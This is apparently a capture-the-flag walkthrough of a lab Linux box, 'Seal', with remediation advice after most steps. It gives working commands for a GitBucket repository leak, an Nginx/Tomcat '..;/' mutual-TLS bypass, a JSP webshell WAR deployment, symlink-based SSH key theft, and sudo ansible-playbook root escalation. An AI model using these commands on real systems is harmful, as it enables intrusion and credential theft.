← all walkthroughs

Seal

Linux· Medium
owned
2026-07-14
time to own
12m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found three services: SSH, an nginx HTTPS reverse proxy enforcing mutual-TLS client certificates, and a GitBucket source-code host on port 8080. Open self-registration on GitBucket allowed any visitor to create an account and browse private infrastructure repositories; the commit history of one repository contained plaintext Tomcat Manager credentials.

An Nginx path-normalization flaw — where semicolon path-parameter segments caused Nginx to misroute requests — let me reach the Tomcat Manager endpoint that mutual-TLS was meant to gate, using only those leaked credentials. A malicious WAR file was deployed through Manager, producing remote code execution as the Tomcat service account.

That account had write access to an upload directory periodically archived by a privileged Ansible backup job that followed symlinks; planting a symlink pointing at the next user's SSH private key caused the key to be bundled into the next archive, from which it was recovered via the webshell. SSH access as that user revealed an unrestricted passwordless sudo rule for ansible-playbook, which was abused to run my own shell commands as root, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork and service enumeration (T1046)
Scanned exposed services and identified the three-service attack surface
A port scan of $TARGET returned SSH on port 22, nginx HTTPS on port 443, and a Jetty HTTP server on port 8080. The TLS certificate on 443 was self-signed for CN=seal.htb (org: Seal Pvt Ltd), signalling that the site likely required a client certificate for access (mutual TLS). The seal.htb hostname was added to local DNS resolution for all subsequent testing.
Nmap: 22/tcp OpenSSH 8.2p1 Ubuntu 4ubuntu0.2, 443/tcp nginx 1.18.0 ssl/http, 8080/tcp Jetty; TLS cert CN=seal.htb org=Seal Pvt Ltd self-signed.
Exact commands 2
Identify service versions and extract the TLS certificate subject/CN.
nmap -Pn -sV -p 22,443,8080 --script ssl-cert,http-title $TARGET
Add the discovered vhost so subsequent HTTPS requests resolve to the correct IP.
echo "$TARGET seal.htb" | sudo tee -a /etc/hosts
2EnumerationSource-code repository enumeration (T1213.003)
Registered a GitBucket account and cloned private infrastructure repositories
GitBucket on port 8080 permitted self-registration with no approval requirement. After registering a throwaway account, the authenticated GitBucket REST API and the /explore browse page exposed all hosted repositories, including 'root/seal_market' and 'root/infra'. Both were cloned over HTTP for offline inspection of their contents and commit history.
GET /api/v3/repositories returned root/seal_market and root/infra; both repos cloned successfully over authenticated HTTP after registering as codexrace.
Exact commands 4
Self-register a throwaway account — no admin approval prompt was presented.
curl -sS -c gb.cookie "http://$TARGET:8080/register" --data-urlencode 'userName=codexrace' --data-urlencode "password=$PASSWORD" --data-urlencode 'fullName=Test'
Log in and capture the session cookie for subsequent API calls.
curl -sS -b gb.cookie -c gb.cookie -X POST "http://$TARGET:8080/signin" --data-urlencode 'userName=codexrace' --data-urlencode "password=$PASSWORD"
List all repositories visible to the authenticated user.
curl -sS -b gb.cookie "http://$TARGET:8080/api/v3/repositories"
Clone both discovered repositories for offline history inspection.
git clone http://$USERNAME:$PASSWORD@$TARGET:8080/git/root/infra.git /tmp/infra && git clone http://$USERNAME:$PASSWORD@$TARGET:8080/git/root/seal_market.git /tmp/seal_market
FixDisable or gate GitBucket self-registration and restrict repository visibilityHigh
WeaknessGitBucket allowed anyone who could reach port 8080 to create an account without any approval. Once registered, that account could list and clone all hosted repositories — including infrastructure code containing sensitive configuration that should be available only to authorized personnel.
FixDisable open self-registration in GitBucket's admin panel (Administration → System Settings → uncheck 'Allow account registration') and require an administrator to provision all new accounts. Set all non-public repositories to private and limit access to named users or an internal organization. At the network layer, restrict port 8080 to trusted management networks only so the service is not reachable from untrusted hosts.
3Credential AccessCredentials in version control (T1552.001)
Recovered plaintext Tomcat Manager credentials from the repository's commit history
Searching all commits in the 'infra' repository uncovered a historical commit that added a Tomcat user configuration file containing the plaintext credentials tomcat:[REDACTED: recovered credential] A second commit in the same repository contained the Nginx reverse-proxy configuration, disclosing that the /manager location required a client TLS certificate — the exact endpoint the credentials were meant to protect.
Git log --all -p in root/infra: diff adds tomcat-users.xml entry with username=tomcat password=[REDACTED: recovered credential]; nginx.conf shows ssl_verify_client on for location /manager.
Exact commands 2
List every commit across all branches to surface historical changes.
git -C /tmp/infra log --all --oneline
Search all commit diffs for credential and configuration strings.
git -C /tmp/infra log --all -p | grep -A5 -B5 -i 'password\|42Mr\|tomcat-users\|manager'
FixRotate exposed credentials and prevent secrets from entering version controlCritical
WeaknessTomcat Manager credentials were committed as plaintext into the 'infra' repository's history. Even if a subsequent commit removes the file, the credentials remain fully readable through 'git log' by any user who can clone the repository.
FixRotate the exposed Tomcat credentials immediately and update all systems that use them. Rewrite the repository's git history to permanently remove the secret from all commits using 'git filter-repo' or BFG Repo Cleaner, then force-push the cleaned history. Going forward, store all secrets in a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) and add a pre-commit hook or CI pipeline scan (e.g., truffleHog, git-secrets, GitHub secret scanning) to block any future commit that introduces credential patterns.
4ExploitationNginx/Tomcat path-normalization mTLS ACL bypass (semicolon path-parameter traversal)
Bypassed mutual-TLS enforcement via an Nginx path-normalization flaw
Nginx's ACL for the /manager location enforced client-certificate authentication, but it did not recognize Java Servlet path-parameter syntax. Appending '/..;/html' to a request for /manager/status — producing the path '/manager/status/..;/html' — caused Nginx's location matcher to evaluate a different pattern that carried no certificate requirement and forwarded the request to Tomcat. Tomcat normalized the path back to /manager/html, returning the Manager GUI authenticated solely by the HTTP Basic credentials recovered in the previous step and without any client certificate being presented.
Curl -sk -u 'tomcat:[REDACTED: recovered credential]' --resolve seal.htb:443:$TARGET 'https://seal.htb/manager/status/..;/html' returned HTTP 200 with the Tomcat Manager interface — no client certificate was supplied.
Exact commands 1
A 200 response with a session cookie confirms the mTLS ACL was bypassed. Capture the session cookie for the next step.
curl -sk -u 'tomcat:$PASSWORD2' --resolve seal.htb:443:$TARGET -D - -o /dev/null 'https://seal.htb/manager/status/..;/html'
FixEliminate the Nginx/Tomcat path-normalization bypass and isolate Tomcat Manager from direct network accessCritical
WeaknessNginx's mutual-TLS ACL for the /manager location did not normalize Java Servlet path-parameter segments (semicolons) or double-dot traversal in the form '..;/'. Crafted URLs bypassed the Nginx location matcher entirely and were forwarded to Tomcat, which accepted and normalized them, rendering the client-certificate requirement ineffective.
FixIn the Nginx configuration, add a rule to block or return 400 on requests whose URI contains semicolons or path-traversal sequences before the request reaches the proxy (e.g., 'if ($request_uri ~* "[;]|\.\.;") { return 400; }'). At the Tomcat layer, configure server.xml with 'allowBackslash="false"' and 'rejectIllegalHeader="true"' to reject ambiguous paths. As defense-in-depth, bind the Tomcat Manager connector to 127.0.0.1 only and require a separate explicit allow-list for any proxied access, so Tomcat Manager is never reachable directly from external networks even if the Nginx ACL is misconfigured.
5ExploitationTomcat Manager malicious WAR deployment (T1505.003)
Deployed a JSP webshell WAR through Tomcat Manager and achieved remote code execution
With authenticated Manager access (via the normalization bypass), a minimal JSP command-execution shell was packaged into a WAR file and deployed to the /codex application context using the Tomcat Manager Text API. Any subsequent HTTP request to /codex/cmd.jsp with a 'c' query parameter executed the supplied shell command as the tomcat service account (uid=997), giving fully interactive remote command execution on the server.
Jar cf + curl WAR deploy returned OK; step 7: curl to /codex/cmd.jsp with c=id returned uid=997(tomcat) gid=997(tomcat).
Exact commands 4
Write a minimal one-line JSP command shell to the staging directory.
mkdir -p /tmp/codexwar && printf '<%@page import="java.io.*"%><%String c=request.getParameter("c");Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=r.readLine())!=null)out.println(l);%%>' > /tmp/codexwar/cmd.jsp
Package the JSP into a WAR archive suitable for Tomcat deployment.
jar cf /tmp/codex.war -C /tmp/codexwar .
Deploy the WAR via the Manager Text API; the JSESSIONID from the normalization-bypass request is reused.
curl -sk --resolve seal.htb:443:$TARGET -u 'tomcat:$PASSWORD2' -F 'war=@/tmp/codex.war' 'https://seal.htb/manager/text/deploy?path=/codex&update=true'
Verify RCE: expect uid=997(tomcat) and the target hostname seal.
curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=id && hostname' 'https://seal.htb/codex/cmd.jsp'
6Lateral MovementSymlink attack against privileged file archival / cron abuse (file-upload + ssh-key-theft patterns)
Stole the next user's SSH private key via a symlink planted in an Ansible-synchronized upload directory
The tomcat foothold account had write access to /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/. A periodic Ansible backup job archived that directory into /opt/backups/archives/ using tar with symlink-following enabled, running as a more-privileged account. I planted a symlink at that upload path pointing to /home/luis/.ssh/id_rsa. When the next backup cycle ran, the Ansible job dereferenced the symlink and bundled the private key into the compressed archive. The key was extracted from that archive via the webshell, then used to SSH in as 'luis' and retrieve the user flag.
Tar -xOzf /opt/backups/archives/backup-2026-07-14-08:25:31.gz dashboard/uploads/codex_luis_id_rsa successfully extracted luis's RSA private key; step 8: ssh -i luis_id_rsa luis@$TARGET returned user.txt (<user.txt>).
Exact commands 4
Confirm the upload directory is writable by tomcat and learn the backup archive naming pattern and cadence.
curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ls -la /opt/backups/archives/ && ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/' 'https://seal.htb/codex/cmd.jsp'
Plant the symlink; wait for the next Ansible backup cycle to archive it (poll /opt/backups/archives for a new file).
curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ln -sf /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/codex_luis_id_rsa' 'https://seal.htb/codex/cmd.jsp'
Extract luis's private key from the archive; replace the timestamp with the actual newest archive filename.
curl -sk --max-time 12 --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=tar -xOzf /opt/backups/archives/backup-2026-07-14-08:25:31.gz dashboard/uploads/codex_luis_id_rsa | base64 -w0' 'https://seal.htb/codex/cmd.jsp' | base64 -d > /tmp/luis_id_rsa && chmod 600 /tmp/luis_id_rsa
Log in as luis using the stolen key and retrieve the user flag (placeholder: <user.txt>).
ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null luis@$TARGET 'cat /home/luis/user.txt'
FixRestrict upload directory permissions and disable symlink-following in the Ansible backup jobHigh
WeaknessThe web-application upload directory was writable by the tomcat service account, and the Ansible playbook that archived it followed symlinks during the tar operation while running with elevated privileges. Any user who gained write access to the upload directory could plant a symlink to any file readable by the backup job, causing that file to be silently included in the archive.
FixRestrict the upload directory to the tomcat user only (chmod 750, chown tomcat:tomcat) so that no other local account can write into it. Update the Ansible archive task to pass '--no-dereference' to tar (or set 'dereference: false' on the Ansible archive module) so symlinks are stored as symlink entries rather than their targets. Store backup archives in a directory that the tomcat account cannot read, and audit all scheduled tasks running with elevated privileges to ensure that none of their input paths are writable by lower-privileged accounts.
7Privilege EscalationSudo GTFOBins — ansible-playbook arbitrary task execution (T1548.003)
Executed my own Ansible playbook as root via unrestricted passwordless sudo
'sudo -l' as luis showed the account could run /usr/bin/ansible-playbook on any file as root with no password required and no path restriction. Because an Ansible playbook can include arbitrary shell/command task modules, this is functionally equivalent to unconditional root shell access. I uploaded a custom playbook containing a shell task that ran 'id' and read /root/root.txt, then executed it with 'sudo -n /usr/bin/ansible-playbook', receiving root output and completing full system compromise.
Sudo -n /usr/bin/ansible-playbook /tmp/rootflag.yml executed without a password prompt; ansible debug output showed uid=0(root) and the root flag value (<root.txt>).
Exact commands 4
Confirm the sudo rule: expect '(ALL) NOPASSWD: /usr/bin/ansible-playbook'.
ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n -l'
Write a playbook that executes shell commands as root; replace the shell line with any desired command.
cat > /tmp/root.yml << 'EOF'
- hosts: localhost
  gather_facts: false
  tasks:
    - name: root proof
      shell: id && cat /root/root.txt
      register: proof
    - debug:
        var: proof.stdout_lines
EOF
Upload the malicious playbook to the target.
scp -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no /tmp/root.yml luis@$TARGET:/tmp/root.yml
Execute the playbook as root; output includes uid=0(root) and root.txt content (placeholder: <root.txt>).
ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n /usr/bin/ansible-playbook /tmp/root.yml'
FixRemove or strictly scope the unrestricted passwordless sudo rule for ansible-playbookCritical
WeaknessThe user 'luis' could run /usr/bin/ansible-playbook as root without a password and without any restriction on which playbook file to supply. Because ansible-playbook accepts arbitrary YAML containing shell and command task modules, this rule is functionally equivalent to giving luis unconditional, passwordless root shell access.
FixRemove the sudo rule unless it is operationally required. If privileged playbook execution is genuinely needed, lock the rule to a specific root-owned playbook at a fixed, non-user-writable path (e.g., 'luis ALL=(root) NOPASSWD: /usr/bin/ansible-playbook /opt/ansible/approved.yml') and verify that neither the playbook file nor its parent directory is writable by luis or any lower-privileged account. Require password authentication for all remaining sudo rules. Audit sudoers across all accounts with 'sudo -l' and remove any NOPASSWD entries that grant access to tools with known GTFOBin privilege-escalation paths.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more